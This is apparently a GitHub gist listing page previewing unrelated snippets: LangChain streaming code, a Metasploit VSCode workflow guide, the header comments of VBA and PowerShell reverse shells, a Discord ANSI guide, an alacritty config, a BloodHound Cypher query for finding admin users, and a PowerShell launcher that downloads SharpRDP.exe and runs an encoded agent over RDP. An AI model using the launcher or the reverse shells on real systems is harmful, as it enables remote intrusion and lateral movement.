Skip to content

Instantly share code, notes, and snippets.

View siddicky's full-sized avatar

siddicky siddicky

View GitHub Profile
from langchain.prompts import ChatPromptTemplate
from langchain.chat_models import ChatOpenAI
from langchain.schema.output_parser import StrOutputParser
from langchain.vectorstores import Chroma
from langchain.embeddings import OpenAIEmbeddings
from langchain.schema.runnable import RunnablePassthrough
from langchain.schema.runnable import RunnableMap
from langchain.schema import format_document
from typing import AsyncGenerator
@morteymike
morteymike / README.md
Created June 16, 2023 13:36
LangChain Streaming using Python Generators

LangChain Streaming Generator

Background

For most chat applications, we want to stream each token back to the client. LangChain's callback support is fantastic for async Web Sockets via FastAPI, and supports this out of the box.

However, developers migrating from OpenAI's python library may find difficulty in implementing a Python generator along the same lines of the OpenAI library approach.

OpenAI Streaming Example

Here's an example of the OpenAI library streaming generator, from the OpenAI Cookbook

@gwillcox-r7
gwillcox-r7 / VSCode Workflow For Metasploit Development.md
Last active December 30, 2022 21:05
VSCode Workflow For Metasploit Development

VSCode Workflow For Metasploit Development

References

Plugins

Essential

Basis for literally everything else here. Provides the Ruby language support and debugging support for Ruby programs, code folding support, semantic highlighting support, basic intellisense support, and automatic Ruby environment support which is essential if your a developer with multiple Ruby versions like me.

@qtc-de
qtc-de / Win32-ReverseShell.vb
Last active May 25, 2023 13:49
VBA reverse shell that uses Win32 API calls
' ********************************************************************************************************
'
' VBA reverse shell that uses Win32 API calls. Most of the code was copied from the following resources:
'
' * https://stackoverflow.com/questions/8670391
' * https://stackoverflow.com/questions/43197814
' * https://renenyffenegger.ch/notes/development/languages/VBA/Win-API/examples/
'
' The code demonstrates more complex usage example for calling Win32 API from VBA and should be used
' for educational purpose only. During development I was mainly interested whether the WSAData or the
@qtc-de
qtc-de / DynWin32-ReverseShell.ps1
Last active December 10, 2024 20:13
PowerShell reverse shell that uses dynamically resolved Win32 API functions
<#
DynWin32-ReverseShell.ps1 is a reverse shell based on dynamically looked up Win32 API calls.
The script uses reflection to obtain access to GetModuleHandle, GetProcAddress and CreateProcess.
Afterwards it uses GetModuleHandle and GetProcAddress to resolve the required WSA functions
from ws2_32.dll.
This script should be used for educational purposes only (and maybe while playing CTF :D).
It was only tested on Windows 10 (x64) and is probably not stable or portable. It's only
purpose is to demonstrate the usage of reflective lookups of Win32 API calls. See it as
@kkrypt0nn
kkrypt0nn / ansi-colors-discord.md
Last active May 11, 2025 13:45
A guide to ANSI on Discord

A guide to ANSI on Discord

Discord is now slowly rolling out the ability to send colored messages within code blocks. It uses the ANSI color codes, so if you've tried to print colored text in your terminal or console with Python or other languages then it will be easy for you.

Quick Explanation

To be able to send a colored text, you need to use the ansi language for your code block and provide a prefix of this format before writing your text:

\u001b[{format};{color}m
@tahadraidia
tahadraidia / SharpRDPAgentLancher.ps1
Created November 30, 2021 14:44
The following script is an the adaptation of the initial script: https://tahadraidia.com/posts/make-sharprdp-an-assembly-loadable/ #OSEP #CSHARP #POWERSHELL
function Invoke-PowershellAgent {
[CmdletBinding()]
param (
[Parameter(Mandatory=$true)][string]$computer,
[Parameter(Mandatory=$true)][string]$username,
[Parameter(Mandatory=$true)][string]$password
)
$download_exec_agent = "C:\windows\system32\cmd.exe /c powershell -bypass exec -enc POWERSHELL_B64_AGENT"
$asm = Invoke-WebRequest -URI 'http://127.0.0.1/SharpRDP.exe' -UseBasicParsing | Select-Object -ExpandProperty Content
MATCH (u:User)-[r:AdminTo|MemberOf*1..]->(c:Computer
RETURN u.name
That’ll return a list of users who have admin rights on at least one system either explicitly or through group membership
---------------
MATCH
(U:User)-[r:MemberOf|:AdminTo*1..]->(C:Computer)
WITH
U.name as n,
@programus
programus / alacritty.yml
Last active December 20, 2024 04:42
pull down from top alacritty (like iTerm2)
window:
# Window dimensions (changes require restart)
#
# Number of lines/columns (not pixels) in the terminal. The number of columns
# must be at least `2`, while using a value of `0` for columns and lines will
# fall back to the window manager's recommended size.
dimensions:
columns: 500
lines: 30